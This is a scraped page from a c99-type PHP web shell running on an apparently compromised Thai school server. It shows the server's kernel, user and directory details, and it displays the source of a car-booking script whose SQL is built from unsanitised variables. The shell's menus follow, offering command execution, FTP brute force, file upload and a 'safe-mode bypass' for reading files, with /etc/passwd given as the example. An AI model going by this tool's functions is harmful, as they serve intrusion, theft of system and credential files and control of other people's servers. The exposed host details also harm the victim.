!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Car_depart/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     InsertDayFormCar.php (6.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"; echo "


กรุณาทำการ Login ก่อน

"; echo ""; exit(); } else { /** Configuration */ require_once( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( "../include/Function.php" ); require_once( "../include/FunctionDB.php" ); /** Create Database Object */ $dbObj = new DBConn; //=== SESSION $Username = $Username; /** Config Table for This Page */ $myTable1 = "personal_tb"; $myTable2 = "formcaroffice"; $myTable2PK = "carId"; /** Table --> personal_tb */ $query1 = " SELECT * FROM $myTable1 WHERE Teacher_code='$Teacher_code' "; $result1 = $dbObj->execQuery($query1); $rs1 = $dbObj->fetchArray($result1); $Teacher_code = $rs1['Teacher_code']; /** Receive values */ $code = trim( $_POST['code'] ); $makeWord = htmlspecialchars( trim( $_POST['makeWord'] ) ); // เรื่อง $Make = trim( $_POST['Make'] ); //ผู้ร่วมเดินทาง $Training_name = trim ( $_POST['Training_name'] ); $Training_type = trim( $_POST['Training_type'] ); $Date = ($_POST['mYear']-543)."-".$_POST['mMonth']."-".$_POST['mDate']; $Date_start = ($_POST['mYear2']-543)."-".$_POST['mMonth2']."-".$_POST['mDate2']; $Date_finish = ($_POST['mYear3']-543)."-".$_POST['mMonth3']."-".$_POST['mDate3']; $object = trim( $_POST['object'] ); $PersonIn = trim( $_POST['PersonIn'] ); $Personly = trim( $_POST['Personly'] ); $Place = trim( $_POST['Place'] ); $TelNo = trim( $_POST['TelNo'] ); $Teacher_code = trim( $_POST['Teacher_code'] ); $usecar = htmlspecialchars( trim( $_POST['usecar'] ) ); $Time_start = htmlspecialchars(trim($_POST['Time_start'])); $Time_finish = htmlspecialchars(trim($_POST['Time_finish'])); $Status = 'รออนุมัติ'; /*--------function Date-----------*/ function dates_range($date1, $date2){ if ($date1<$date2){ //$dates_range[]=$date1; $date1=strtotime($date1); $date2=strtotime($date2); $dateFirst=mktime(0, 0, 0, date("m", $date1), date("d", $date1), date("Y", $date1)); $dates_range[]=date('Y-m-d', $dateFirst); while ($date1!=$date2){ $date1=mktime(0, 0, 0, date("m", $date1), date("d", $date1)+1, date("Y", $date1)); $dates_range[]=date('Y-m-d', $date1); } } return $dates_range; } //--- Table --> 'formcaroffice' $DateCar = dates_range($Date_start,$Date_finish); if(sizeof($DateCar) != 0){ for($i=0;$i ข้อมูลทั่วไปบุคลากร - ข้อมูลการพัฒนาบุคลากร - เพิ่มข้อมูลประวัติการพัฒนาตนเอง
หน้าหลัก » ข้อมูลทั่วไปบุคลากร » ข้อมูลการพัฒนาบุคลากร » เพิ่มข้อมูลการขอใช้รถยนต์
 
ระบบจัดเก็บข้อมูลของท่านเรียบร้อยแล้ว
กรุณารอส้กครู่ กำลังเปลี่ยนหน้าอัตโนมัติ
"; ?>
 
freeresult($result0); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--